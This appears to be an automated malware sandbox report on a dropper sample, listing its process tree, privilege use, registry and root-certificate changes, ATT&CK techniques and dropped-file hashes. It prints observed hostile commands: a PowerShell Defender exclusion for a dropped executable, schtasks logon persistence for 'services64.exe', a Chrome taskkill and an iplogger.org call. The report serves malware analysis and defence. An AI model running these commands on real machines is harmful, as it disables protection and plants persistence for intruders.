Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	4aa1e8b379159.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2244	schtasks.exe
2532	schtasks.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1200	4aa1e8b379159.exe
1200	4aa1e8b379159.exe
1200	4aa1e8b379159.exe
1200	4aa1e8b379159.exe
1552	chrome2.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
1308	268b3127b936e01.exe
2868	powershell.exe
2772	services64.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	2736	5298ab674.exe
Token: SeAssignPrimaryTokenPrivilege	2736	5298ab674.exe
Token: SeLockMemoryPrivilege	2736	5298ab674.exe
Token: SeIncreaseQuotaPrivilege	2736	5298ab674.exe
Token: SeMachineAccountPrivilege	2736	5298ab674.exe
Token: SeTcbPrivilege	2736	5298ab674.exe
Token: SeSecurityPrivilege	2736	5298ab674.exe
Token: SeTakeOwnershipPrivilege	2736	5298ab674.exe
Token: SeLoadDriverPrivilege	2736	5298ab674.exe
Token: SeSystemProfilePrivilege	2736	5298ab674.exe
Token: SeSystemtimePrivilege	2736	5298ab674.exe
Token: SeProfSingleProcessPrivilege	2736	5298ab674.exe
Token: SeIncBasePriorityPrivilege	2736	5298ab674.exe
Token: SeCreatePagefilePrivilege	2736	5298ab674.exe
Token: SeCreatePermanentPrivilege	2736	5298ab674.exe
Token: SeBackupPrivilege	2736	5298ab674.exe
Token: SeRestorePrivilege	2736	5298ab674.exe
Token: SeShutdownPrivilege	2736	5298ab674.exe
Token: SeDebugPrivilege	2736	5298ab674.exe
Token: SeAuditPrivilege	2736	5298ab674.exe
Token: SeSystemEnvironmentPrivilege	2736	5298ab674.exe
Token: SeChangeNotifyPrivilege	2736	5298ab674.exe
Token: SeRemoteShutdownPrivilege	2736	5298ab674.exe
Token: SeUndockPrivilege	2736	5298ab674.exe
Token: SeSyncAgentPrivilege	2736	5298ab674.exe
Token: SeEnableDelegationPrivilege	2736	5298ab674.exe
Token: SeManageVolumePrivilege	2736	5298ab674.exe
Token: SeImpersonatePrivilege	2736	5298ab674.exe
Token: SeCreateGlobalPrivilege	2736	5298ab674.exe
Token: 31	2736	5298ab674.exe
Token: 32	2736	5298ab674.exe
Token: 33	2736	5298ab674.exe
Token: 34	2736	5298ab674.exe
Token: 35	2736	5298ab674.exe
Token: SeDebugPrivilege	2780	4a448bcddaa0b3.exe
Token: SeDebugPrivilege	1272	0fd5c77ed90f39d5.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	1552	chrome2.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	2872	1cr.exe
Token: SeDebugPrivilege	2772	services64.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3060	iexplore.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
3060	iexplore.exe
3060	iexplore.exe
2240	IEXPLORE.EXE
2240	IEXPLORE.EXE
2240	IEXPLORE.EXE
2240	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2148 wrote to memory of 2844	2148	1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe	31
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2844 wrote to memory of 2920	2844	setup_installer.exe	32
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 1956	2920	setup_install.exe	34
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3056	2920	setup_install.exe	35
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 3064	2920	setup_install.exe	36
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2436	2920	setup_install.exe	37
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 2164	2920	setup_install.exe	38
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1484	2920	setup_install.exe	39
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 1436	2920	setup_install.exe	40
PID 2920 wrote to memory of 628	2920	setup_install.exe	41

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1c44852292cf03e534ef8c2914b22436_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2148
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2844
- - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 268b3127b936e01.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1956
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\268b3127b936e01.exe
        
        268b3127b936e01.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 21bcc8456d82.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3056
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\21bcc8456d82.exe
        
        21bcc8456d82.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:572
      - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\21bcc8456d82.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\21bcc8456d82.exe" -a
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2232
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 5298ab674.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:3064
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\5298ab674.exe
        
        5298ab674.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2736
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2768
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 4a448bcddaa0b3.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2436
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\4a448bcddaa0b3.exe
        
        4a448bcddaa0b3.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2780
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 0fd5c77ed90f39d5.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2164
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\0fd5c77ed90f39d5.exe
        
        0fd5c77ed90f39d5.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1272
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 8e14eeece3767.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1484
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\8e14eeece3767.exe
        
        8e14eeece3767.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        
        PID:2420
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:840
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2868
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1cr.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2872
      - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUILD1~1.EXE
        
        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\BUILD1~1.EXE
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1556
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\7zSB471.tmp\Install.cmd" "
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2612
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/16B4c7
        8⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3060
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3060 CREDAT:275457 /prefetch:2
        9⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:2240
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 28e2ddd2eed6.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1436
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\28e2ddd2eed6.exe
        
        28e2ddd2eed6.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:828
      - C:\Users\Admin\AppData\Local\Temp\chrome2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chrome2.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1552
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        7⤵
        
        PID:3028
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2244
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2772
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:1204
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2532
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        8⤵
        Executes dropped EXE
        
        PID:2516
      - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:1744
        
        C:\Windows\winnetdriv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" 1728286697 0
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:1236
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c b28b347be25f8ab8.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:628
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\b28b347be25f8ab8.exe
        
        b28b347be25f8ab8.exe
        5⤵
        Executes dropped EXE
        
        PID:484
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 4aa1e8b379159.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:1156
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\4aa1e8b379159.exe
        
        4aa1e8b379159.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1200
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c 268b3127b936e0010.exe
      4⤵
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:2788
    - - C:\Users\Admin\AppData\Local\Temp\7zSC1B7B5C6\268b3127b936e0010.exe
        
        268b3127b936e0010.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2224
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2920 -s 432
      4⤵
      Loads dropped DLL
      Program crash
      PID:1056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

softokn3.dll

Path C:\ProgramData\softokn3.dll
Size 275B
SHA256 b745b0c0db87a89de5e542e9ae0a06f585793ac3f4240bff3524e7dbdba79978
MD5 a378c450e6ad9f1e0356ed46da190990
SHA1 d457a2c162391d2ea30ec2dc62c8fb3b973f6a66
SHA512 e6cdc8f570af97e48b1d8968730db0afc46f9dd6ad7366a936a5518801debb61c86cc61526e5e26e7ad3b3daeb76a19b32d7c0da33140597f6d19163683c12b5
MD5 SHA1 SHA512

Submit Download

3C428B1A3E5F57D887EC4B864FAC5DCC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\3C428B1A3E5F57D887EC4B864FAC5DCC
Size 914B
SHA256 cb3ccbb76031e5e0138f8dd39a23f9de47ffc35e43c1144cea27d46a5ab1cb5f
MD5 e4a68ac854ac5242460afd72481b2a44
SHA1 df3c24f9bfd666761b268073fe06d1cc8d4f82a4
SHA512 5622207e1ba285f172756f6019af92ac808ed63286e24dfecc1e79873fb5d140f1ceb7133f2476e89a5f75f711f9813a9fbb8fd5287f64adfdcc53b864f9bdc5
MD5 SHA1 SHA512

Submit Download

3C428B1A3E5F57D887EC4B864FAC5DCC

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\3C428B1A3E5F57D887EC4B864FAC5DCC
Size 252B
SHA256 3aeff520501f31140fe8c47e354dfb89032bd8c9583bde022e2b1d7479b44b9a
MD5 b78ab0439ef2f11304beca74c0b81a23
SHA1 6cb733c314ca8ea584f8ccf63b19501e1d19b90c
SHA512 97eeb552d8612e4c82fbf9b1984213f437f9e98cf86d51ded2bf3101bd84e769b35a86578f918d84e91379450f01fd80e60a03781052836101decf35995309ec
MD5 SHA1 SHA512

Submit Download